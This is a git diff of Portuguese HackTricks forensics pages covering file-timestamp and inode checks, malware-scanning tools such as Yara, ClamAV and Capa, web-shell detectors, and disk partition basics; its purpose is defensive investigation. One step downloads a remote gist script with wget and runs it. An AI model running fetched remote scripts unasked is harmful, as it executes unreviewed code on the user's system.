+* Verifique também diretórios como _/bin_ ou _/sbin_ pois o **tempo modificado ou alterado** de arquivos novos ou modificados pode ser interessante.
+* É interessante ver os arquivos e pastas de um diretório **ordenados por data de criação** em vez de alfabeticamente para ver quais arquivos ou pastas são mais recentes (os últimos geralmente).
Você pode verificar os arquivos mais recentes de uma pasta usando `ls -laR --sort=time /bin`\
Você pode verificar os inodes dos arquivos dentro de uma pasta usando `ls -lai /bin |sort -n`
{% hint style="info" %}
-Observe que um **atacante** pode **modificar** o **horário** para fazer com que os **arquivos pareçam** **legítimos**, mas ele **não pode** modificar o **inode**. Se você descobrir que um **arquivo** indica que foi criado e modificado ao **mesmo tempo** que o restante dos arquivos na mesma pasta, mas o **inode** é **inesperadamente maior**, então os **carimbos de data e hora desse arquivo foram modificados**.
+Note que um **atacante** pode **modificar** o **tempo** para fazer **arquivos parecerem** **legítimos**, mas ele **não pode** modificar o **inode**. Se você encontrar que um **arquivo** indica que foi criado e modificado ao **mesmo tempo** que o resto dos arquivos na mesma pasta, mas o **inode** é **inesperadamente maior**, então os **carimbos de data e hora daquele arquivo foram modificados**.
{% endhint %}
## Comparar arquivos de diferentes versões do sistema de arquivos
@@ -384,42 +389,10 @@ Observe que um **atacante** pode **modificar** o **horário** para fazer com que
git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/
```
#### Encontrar conteúdo modificado
-
-Ao realizar uma análise forense em um sistema Linux, é importante identificar quais arquivos foram modificados. Isso pode ajudar a determinar se houve alguma atividade suspeita ou se algum arquivo foi comprometido.
-
-Existem várias maneiras de encontrar arquivos modificados em um sistema Linux. Aqui estão algumas técnicas comuns:
-
-1. Comparação de hashes: Calcule os hashes dos arquivos em um momento anterior e compare-os com os hashes atuais. Se houver diferenças nos hashes, isso indica que o arquivo foi modificado.
-
-2. Verificação de timestamps: Verifique os timestamps dos arquivos para identificar aqueles que foram modificados recentemente. Os timestamps mais comumente usados são o timestamp de acesso (atime), o timestamp de modificação (mtime) e o timestamp de alteração (ctime).
-
-3. Análise de logs: Analise os logs do sistema em busca de atividades suspeitas. Os logs podem conter informações sobre arquivos modificados ou acessados recentemente.
-
-4. Monitoramento de diretórios: Configure um monitoramento em tempo real de diretórios específicos para detectar qualquer modificação. Isso pode ser feito usando ferramentas como o inotify ou o auditd.
-
-Ao encontrar arquivos modificados, é importante fazer uma análise mais aprofundada para determinar a natureza das modificações e se elas representam uma ameaça à segurança do sistema.
```bash
git diff --no-index --diff-filter=M _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ | grep -E "^\+" | grep -v "Installed-Time"
```
#### Encontrar arquivos deletados
-
-Quando se realiza uma investigação forense em um sistema Linux, é importante procurar por arquivos deletados que possam conter informações relevantes. Os arquivos deletados não são imediatamente removidos do sistema de arquivos, mas sim marcados como espaço livre para serem sobrescritos posteriormente. Portanto, é possível recuperar esses arquivos e obter dados valiosos.
-
-Existem várias ferramentas disponíveis para encontrar arquivos deletados em um sistema Linux. Uma delas é o `extundelete`, que é capaz de recuperar arquivos de sistemas de arquivos ext3 e ext4. Outra opção é o `scalpel`, uma ferramenta de recuperação de arquivos que pode ser usada em diferentes sistemas de arquivos.
-
-Para utilizar o `extundelete`, você precisa ter acesso ao sistema de arquivos em modo somente leitura. Em seguida, execute o comando `extundelete` seguido do dispositivo ou imagem do disco e especifique o diretório de destino para os arquivos recuperados.
-
-```bash
-$ extundelete /dev/sda1 --restore-all --output-dir /home/user/recovered_files
-```
-
-O `scalpel` é outra ferramenta útil para recuperar arquivos deletados. Ele possui uma configuração pré-definida para diferentes tipos de arquivos, como documentos, imagens e vídeos. Para usar o `scalpel`, você precisa criar um arquivo de configuração especificando os tipos de arquivos que deseja recuperar e o diretório de destino para os arquivos recuperados.
-
-```bash
-$ scalpel /dev/sda1 -c /etc/scalpel/scalpel.conf -o /home/user/recovered_files
-```
-
-Lembre-se de que, ao recuperar arquivos deletados, é importante preservar a integridade dos dados. Evite gravar novos arquivos no sistema de arquivos que está sendo investigado, pois isso pode sobrescrever os dados que você está tentando recuperar.
```bash
git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/
```
@@ -427,11 +400,11 @@ git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2
**`-diff-filter=[(A|C|D|M|R|T|U|X|B)…[*]]`**
-Seleciona apenas arquivos que foram Adicionados (`A`), Copiados (`C`), Deletados (`D`), Modificados (`M`), Renomeados (`R`), tiveram seu tipo (ou seja, arquivo regular, symlink, submodule, ...) alterado (`T`), estão Desunidos (`U`), são Desconhecidos (`X`), ou tiveram seu emparelhamento quebrado (`B`). Qualquer combinação dos caracteres de filtro (incluindo nenhum) pode ser usada. Quando `*` (Todos ou Nenhum) é adicionado à combinação, todos os caminhos são selecionados se houver algum arquivo que corresponda a outros critérios na comparação; se não houver arquivo que corresponda a outros critérios, nada é selecionado.
+Seleciona apenas arquivos que foram Adicionados (`A`), Copiados (`C`), Deletados (`D`), Modificados (`M`), Renomeados (`R`), e que tiveram seu tipo (ou seja, arquivo regular, symlink, submodule, …) alterado (`T`), estão Não mesclados (`U`), são Desconhecidos (`X`), ou tiveram seu pareamento Quebrado (`B`). Qualquer combinação dos caracteres de filtro (incluindo nenhum) pode ser usada. Quando `*` (Todos ou nenhum) é adicionado à combinação, todos os caminhos são selecionados se houver qualquer arquivo que corresponda a outros critérios na comparação; se não houver arquivo que corresponda a outros critérios, nada é selecionado.
-Além disso, **essas letras maiúsculas podem ser convertidas para minúsculas para excluir**. Por exemplo, `--diff-filter=ad` exclui caminhos adicionados e deletados.
+Além disso, **estas letras maiúsculas podem ser minúsculas para excluir**. Por exemplo, `--diff-filter=ad` exclui caminhos adicionados e deletados.
-Observe que nem todas as diferenças podem apresentar todos os tipos. Por exemplo, diferenças do índice para a árvore de trabalho nunca podem ter entradas Adicionadas (porque o conjunto de caminhos incluídos na diferença é limitado pelo que está no índice). Da mesma forma, entradas copiadas e renomeadas não podem aparecer se a detecção para esses tipos estiver desativada.
+Note que nem todos os diffs podem apresentar todos os tipos. Por exemplo, diffs do índice para a árvore de trabalho nunca podem ter entradas Adicionadas (porque o conjunto de caminhos incluídos no diff é limitado pelo que está no índice). Da mesma forma, entradas copiadas e renomeadas não podem aparecer se a detecção para esses tipos estiver desativada.
## Referências
@@ -442,20 +415,20 @@ Observe que nem todas as diferenças podem apresentar todos os tipos. Por exempl
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+Você trabalha em uma **empresa de cybersecurity**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Obtenha o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
+* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-
+
\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
-Acesse hoje:
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, com as ferramentas comunitárias **mais avançadas** do mundo.\
+Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/forensics/basic-forensic-methodology/malware-analysis.md b/forensics/basic-forensic-methodology/malware-analysis.md
index fdbdc0c45..ed163a028 100644
--- a/forensics/basic-forensic-methodology/malware-analysis.md
+++ b/forensics/basic-forensic-methodology/malware-analysis.md
@@ -2,17 +2,19 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## CheatSheets de Forensics
+## CheatSheets de Forense
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
@@ -24,7 +26,7 @@
* [Intezer](https://analyze.intezer.com)
* [Any.Run](https://any.run/)
-## Ferramentas Offline de Antivírus e Detecção
+## Antivírus e Ferramentas de Detecção Offline
### Yara
@@ -34,41 +36,19 @@ sudo apt-get install -y yara
```
#### Preparar regras
-Use este script para baixar e mesclar todas as regras de malware yara do GitHub: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
+Use este script para baixar e mesclar todas as regras de malware yara do github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
Crie o diretório _**rules**_ e execute-o. Isso criará um arquivo chamado _**malware\_rules.yar**_ que contém todas as regras yara para malware.
```bash
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
```
-#### Verificação
-
-A primeira etapa na análise de malware é realizar uma verificação completa do sistema em busca de qualquer sinal de atividade maliciosa. Isso pode ser feito usando ferramentas de segurança, como antivírus e antimalware, para identificar arquivos suspeitos ou comportamentos anormais.
-
-Durante a verificação, é importante garantir que as definições de segurança estejam atualizadas para detectar as ameaças mais recentes. Além disso, é recomendável executar a verificação em modo de segurança para evitar que o malware se espalhe ou se esconda.
-
-Após a verificação, é necessário revisar os resultados em busca de qualquer indicação de malware. Isso pode incluir arquivos infectados, processos suspeitos em execução ou alterações não autorizadas no sistema.
-
-#### Analysis
-
-A próxima etapa na análise de malware é a análise detalhada do arquivo suspeito. Isso envolve examinar o código do malware, identificar suas funcionalidades e entender como ele se comporta.
-
-Existem várias técnicas de análise que podem ser usadas, como análise estática e análise dinâmica. A análise estática envolve examinar o código-fonte do malware sem executá-lo, enquanto a análise dinâmica envolve executar o malware em um ambiente controlado para observar seu comportamento.
-
-Durante a análise, é importante observar as características do malware, como sua capacidade de se espalhar, se comunicar com servidores remotos ou roubar informações confidenciais. Também é importante identificar qualquer técnica de evasão que o malware possa estar usando para evitar a detecção.
-
-#### Report
-
-Após concluir a análise do malware, é importante documentar todas as descobertas em um relatório detalhado. Isso inclui informações sobre o malware, como seu nome, tipo, funcionalidades e comportamento.
-
-O relatório também deve incluir informações sobre as medidas de mitigação recomendadas para proteger o sistema contra o malware. Isso pode incluir a remoção do malware, a atualização de software, a aplicação de patches de segurança ou a implementação de medidas de segurança adicionais.
-
-Além disso, o relatório deve ser claro e conciso, fornecendo informações relevantes de forma organizada e compreensível. Isso ajudará os usuários a entenderem a natureza do malware e tomar as medidas necessárias para proteger seus sistemas.
+#### Varredura
```bash
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
```
-#### YaraGen: Verificar malware e criar regras
+#### YaraGen: Verificar malware e Criar regras
Você pode usar a ferramenta [**YaraGen**](https://github.com/Neo23x0/yarGen) para gerar regras yara a partir de um binário. Confira estes tutoriais: [**Parte 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Parte 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Parte 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
```bash
@@ -78,65 +58,10 @@ python3.exe yarGen.py --excludegood -m ../../mals/
### ClamAV
#### Instalação
-
-Para instalar o ClamAV, siga as etapas abaixo:
-
-1. Abra o terminal e execute o seguinte comando para atualizar a lista de pacotes:
-```
-sudo apt update
-```
-
-2. Em seguida, execute o comando abaixo para instalar o ClamAV:
-```
-sudo apt install clamav
-```
-
-3. Após a instalação, atualize as definições de vírus executando o seguinte comando:
-```
-sudo freshclam
-```
-
-4. Agora você pode verificar arquivos em busca de malware usando o comando abaixo:
-```
-clamscan
-```
-
-Certifique-se de substituir `` pelo caminho real do arquivo ou diretório que deseja verificar.
-
-5. Para remover o ClamAV, execute o seguinte comando:
-```
-sudo apt remove clamav
-```
-
-Agora você tem o ClamAV instalado e pronto para ser usado em sua análise de malware.
```
sudo apt-get install -y clamav
```
-#### Verificação
-
-A primeira etapa na análise de malware é realizar uma verificação completa do arquivo suspeito. Isso pode ser feito usando várias ferramentas de segurança, como antivírus e scanners de malware. Essas ferramentas procuram por assinaturas conhecidas de malware e comportamentos suspeitos no arquivo.
-
-#### Análise estática
-
-Após a verificação inicial, é importante realizar uma análise estática do arquivo. Isso envolve examinar o código do malware sem executá-lo. Durante essa análise, é possível identificar strings suspeitas, funções maliciosas e técnicas de ofuscação usadas pelo malware.
-
-#### Análise dinâmica
-
-A análise dinâmica envolve a execução do malware em um ambiente controlado para observar seu comportamento. Isso pode ser feito em uma máquina virtual isolada ou em um ambiente de sandbox. Durante essa análise, é possível observar as ações do malware, como a criação de arquivos, a comunicação com servidores remotos e a modificação do sistema.
-
-#### Engenharia reversa
-
-A engenharia reversa é uma etapa avançada na análise de malware, que envolve a desmontagem do código do malware para entender sua lógica interna. Isso pode revelar informações valiosas sobre as técnicas de ataque usadas pelo malware e ajudar a desenvolver contramedidas eficazes.
-
-#### Análise de tráfego de rede
-
-Além da análise do arquivo em si, também é importante analisar o tráfego de rede gerado pelo malware. Isso pode revelar informações sobre os servidores de comando e controle usados pelo malware, bem como as comunicações entre o malware e outros sistemas na rede.
-
-#### Análise de artefatos
-
-Por fim, é importante analisar os artefatos deixados pelo malware no sistema infectado. Isso pode incluir arquivos de log, entradas de registro e alterações no sistema de arquivos. Esses artefatos podem fornecer pistas adicionais sobre as atividades do malware e ajudar na remoção completa do mesmo.
-
-Ao seguir essa metodologia básica de análise forense de malware, é possível obter uma compreensão mais profunda do funcionamento do malware e desenvolver estratégias eficazes para mitigar seus efeitos.
+#### Varredura
```bash
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
@@ -144,21 +69,21 @@ clamscan folderpath #Scan the whole folder
```
### [Capa](https://github.com/mandiant/capa)
-**Capa** detecta potencialmente **capacidades maliciosas** em executáveis: PE, ELF, .NET. Portanto, ele encontrará coisas como táticas de Att\&ck ou capacidades suspeitas, como:
+**Capa** detecta **capacidades** potencialmente maliciosas em executáveis: PE, ELF, .NET. Portanto, ele encontrará coisas como táticas Att\&ck, ou capacidades suspeitas como:
-* verificar erros de OutputDebugString
+* verificar erro de OutputDebugString
* executar como um serviço
* criar processo
-Obtenha-o no [**repositório do Github**](https://github.com/mandiant/capa).
+Obtenha-o no [**repositório Github**](https://github.com/mandiant/capa).
### IOCs
-IOC significa Indicator Of Compromise. Um IOC é um conjunto de **condições que identificam** algum software potencialmente indesejado ou malware confirmado. As equipes de segurança usam esse tipo de definição para **procurar por esse tipo de arquivos maliciosos** em seus **sistemas** e **redes**.\
-Compartilhar essas definições é muito útil, pois quando um malware é identificado em um computador e um IOC para esse malware é criado, outras equipes de segurança podem usá-lo para identificar o malware mais rapidamente.
+IOC significa Indicador de Comprometimento. Um IOC é um conjunto de **condições que identificam** algum software potencialmente indesejado ou **malware** confirmado. As Equipes Azuis usam esse tipo de definição para **procurar por esse tipo de arquivos maliciosos** em seus **sistemas** e **redes**.\
+Compartilhar essas definições é muito útil, pois quando um malware é identificado em um computador e um IOC para esse malware é criado, outras Equipes Azuis podem usá-lo para identificar o malware mais rapidamente.
-Uma ferramenta para criar ou modificar IOCs é o [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
-Você pode usar ferramentas como o [**Redline**](https://www.fireeye.com/services/freeware/redline.html) para **procurar por IOCs definidos em um dispositivo**.
+Uma ferramenta para criar ou modificar IOCs é o [**Editor de IOC**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
+Você pode usar ferramentas como [**Redline**](https://www.fireeye.com/services/freeware/redline.html) para **procurar por IOCs definidos em um dispositivo**.
### Loki
@@ -179,7 +104,7 @@ Compares process connection endpoints with C2 IOCs (new since version v.10)
```
### Linux Malware Detect
-[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) é um scanner de malware para Linux lançado sob a licença GNU GPLv2, projetado para enfrentar ameaças em ambientes de hospedagem compartilhada. Ele utiliza dados de ameaças de sistemas de detecção de intrusão na borda da rede para extrair malware que está sendo usado ativamente em ataques e gera assinaturas para detecção. Além disso, os dados de ameaças também são derivados de envios de usuários com o recurso de verificação do LMD e de recursos da comunidade de malware.
+[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) é um scanner de malware para Linux lançado sob a licença GNU GPLv2, projetado para os riscos enfrentados em ambientes de hospedagem compartilhada. Ele usa dados de ameaças de sistemas de detecção de intrusão de borda de rede para extrair malware que está sendo ativamente usado em ataques e gera assinaturas para detecção. Além disso, dados de ameaças também são derivados de submissões de usuários com o recurso de checkout do LMD e recursos da comunidade de malware.
### rkhunter
@@ -189,31 +114,31 @@ sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--sk
```
### FLOSS
-[**FLOSS**](https://github.com/mandiant/flare-floss) é uma ferramenta que tentará encontrar strings ofuscadas dentro de executáveis usando diferentes técnicas.
+[**FLOSS**](https://github.com/mandiant/flare-floss) é uma ferramenta que tenta encontrar strings ofuscadas dentro de executáveis usando diferentes técnicas.
### PEpper
-[PEpper](https://github.com/Th3Hurrican3/PEpper) verifica algumas informações básicas dentro do executável (dados binários, entropia, URLs e IPs, algumas regras yara).
+[PEpper](https://github.com/Th3Hurrican3/PEpper) verifica algumas coisas básicas dentro do executável (dados binários, entropia, URLs e IPs, algumas regras yara).
### PEstudio
-[PEstudio](https://www.winitor.com/download) é uma ferramenta que permite obter informações de executáveis do Windows, como imports, exports, headers, mas também verifica o virus total e encontra possíveis técnicas de Att\&ck.
+[PEstudio](https://www.winitor.com/download) é uma ferramenta que permite obter informações de executáveis Windows como importações, exportações, cabeçalhos, mas também verificará o virus total e encontrará potenciais técnicas de Att\&ck.
### Detect It Easy(DiE)
-[**DiE**](https://github.com/horsicq/Detect-It-Easy/) é uma ferramenta para detectar se um arquivo está **criptografado** e também encontrar **empacotadores**.
+[**DiE**](https://github.com/horsicq/Detect-It-Easy/) é uma ferramenta para detectar se um arquivo está **criptografado** e também encontrar **packers**.
### NeoPI
-[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) é um script Python que usa uma variedade de **métodos estatísticos** para detectar conteúdo **ofuscado** e **criptografado** em arquivos de texto/script. O objetivo do NeoPI é auxiliar na **detecção de código de shell web oculto**.
+[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) é um script Python que usa uma variedade de **métodos estatísticos** para detectar conteúdo **ofuscado** e **criptografado** dentro de arquivos de texto/scripts. O propósito pretendido do NeoPI é auxiliar na **detecção de código de web shell oculto**.
### **php-malware-finder**
-[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) faz o seu melhor para detectar código **ofuscado**/**suspeito** e também arquivos que usam funções **PHP** frequentemente usadas em **malwares**/shell web.
+[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) faz o seu melhor para detectar código **ofuscado**/**suspeito** bem como arquivos que usam funções **PHP** frequentemente utilizadas em **malwares**/webshells.
### Assinaturas Binárias da Apple
-Ao verificar alguma **amostra de malware**, você sempre deve **verificar a assinatura** do binário, pois o **desenvolvedor** que o assinou pode estar **relacionado** a **malwares**.
+Ao verificar uma **amostra de malware**, você deve sempre **verificar a assinatura** do binário, pois o **desenvolvedor** que o assinou pode já estar **relacionado** com **malware**.
```bash
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@@ -228,24 +153,26 @@ spctl --assess --verbose /Applications/Safari.app
### Empilhamento de Arquivos
-Se você sabe que uma pasta contendo os **arquivos** de um servidor web foi **atualizada pela última vez em uma determinada data**. **Verifique** a **data** em que todos os **arquivos** do servidor web foram criados e modificados e, se alguma data for **suspeita**, verifique esse arquivo.
+Se você sabe que alguma pasta contendo os **arquivos** de um servidor web foi **atualizada pela última vez em alguma data**. **Verifique** a **data** em que todos os **arquivos** no **servidor web foram criados e modificados** e se alguma data for **suspeita**, verifique esse arquivo.
-### Baselines
+### Linhas de Base
-Se os arquivos de uma pasta **não deveriam ter sido modificados**, você pode calcular o **hash** dos **arquivos originais** da pasta e **compará-los** com os **atuais**. Qualquer modificação será **suspeita**.
+Se os arquivos de uma pasta **não deveriam ter sido modificados**, você pode calcular o **hash** dos **arquivos originais** da pasta e **comparar** com os atuais. Qualquer modificação será **suspeita**.
### Análise Estatística
-Quando as informações são salvas em logs, você pode **verificar estatísticas como quantas vezes cada arquivo de um servidor web foi acessado, pois um web shell pode ser um dos mais**.
+Quando a informação é salva em logs, você pode **verificar estatísticas como quantas vezes cada arquivo de um servidor web foi acessado, pois um web shell pode ser um dos mais acessados**.
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
index 624de1870..ba0edf7a1 100644
--- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
+++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
@@ -1,138 +1,252 @@
-# Partitions/File Systems/Carving
+# Partições/Sistemas de Arquivos/Carving
-### Partições/Sistemas de Arquivos/Carving
+## Partições/Sistemas de Arquivos/Carving
-Um disco rígido ou um **SSD pode conter diferentes partições** com o objetivo de separar fisicamente os dados.\
-A **unidade mínima** de um disco é o **setor** (normalmente composto por 512B). Portanto, o tamanho de cada partição precisa ser múltiplo desse tamanho.
+
-#### MBR (Master Boot Record)
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-Ele é alocado no **primeiro setor do disco após os 446B do código de inicialização**. Este setor é essencial para indicar ao PC o que e de onde uma partição deve ser montada.\
-Ele permite até **4 partições** (no máximo **apenas 1** pode ser ativa/inicializável). No entanto, se você precisar de mais partições, pode usar **partições estendidas**. O **último byte** deste primeiro setor é a assinatura do registro de inicialização **0x55AA**. Apenas uma partição pode ser marcada como ativa.\
-MBR permite **máximo de 2,2TB**.
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+
+
+
+## Partições
+
+Um disco rígido ou um **SSD pode conter diferentes partições** com o objetivo de separar dados fisicamente.\
+A **unidade mínima** de um disco é o **setor** (normalmente composto por 512B). Assim, cada tamanho de partição precisa ser múltiplo desse tamanho.
+
+### MBR (Master Boot Record)
+
+Está localizado no **primeiro setor do disco após os 446B do código de boot**. Este setor é essencial para indicar ao PC o que e de onde uma partição deve ser montada.\
+Permite até **4 partições** (no máximo **apenas 1** pode ser ativa/**bootável**). No entanto, se você precisar de mais partições, pode usar **partições estendidas**. O **byte final** deste primeiro setor é a assinatura do registro de boot **0x55AA**. Apenas uma partição pode ser marcada como ativa.\
+MBR permite **máximo de 2.2TB**.
![](<../../../.gitbook/assets/image (489).png>)
![](<../../../.gitbook/assets/image (490).png>)
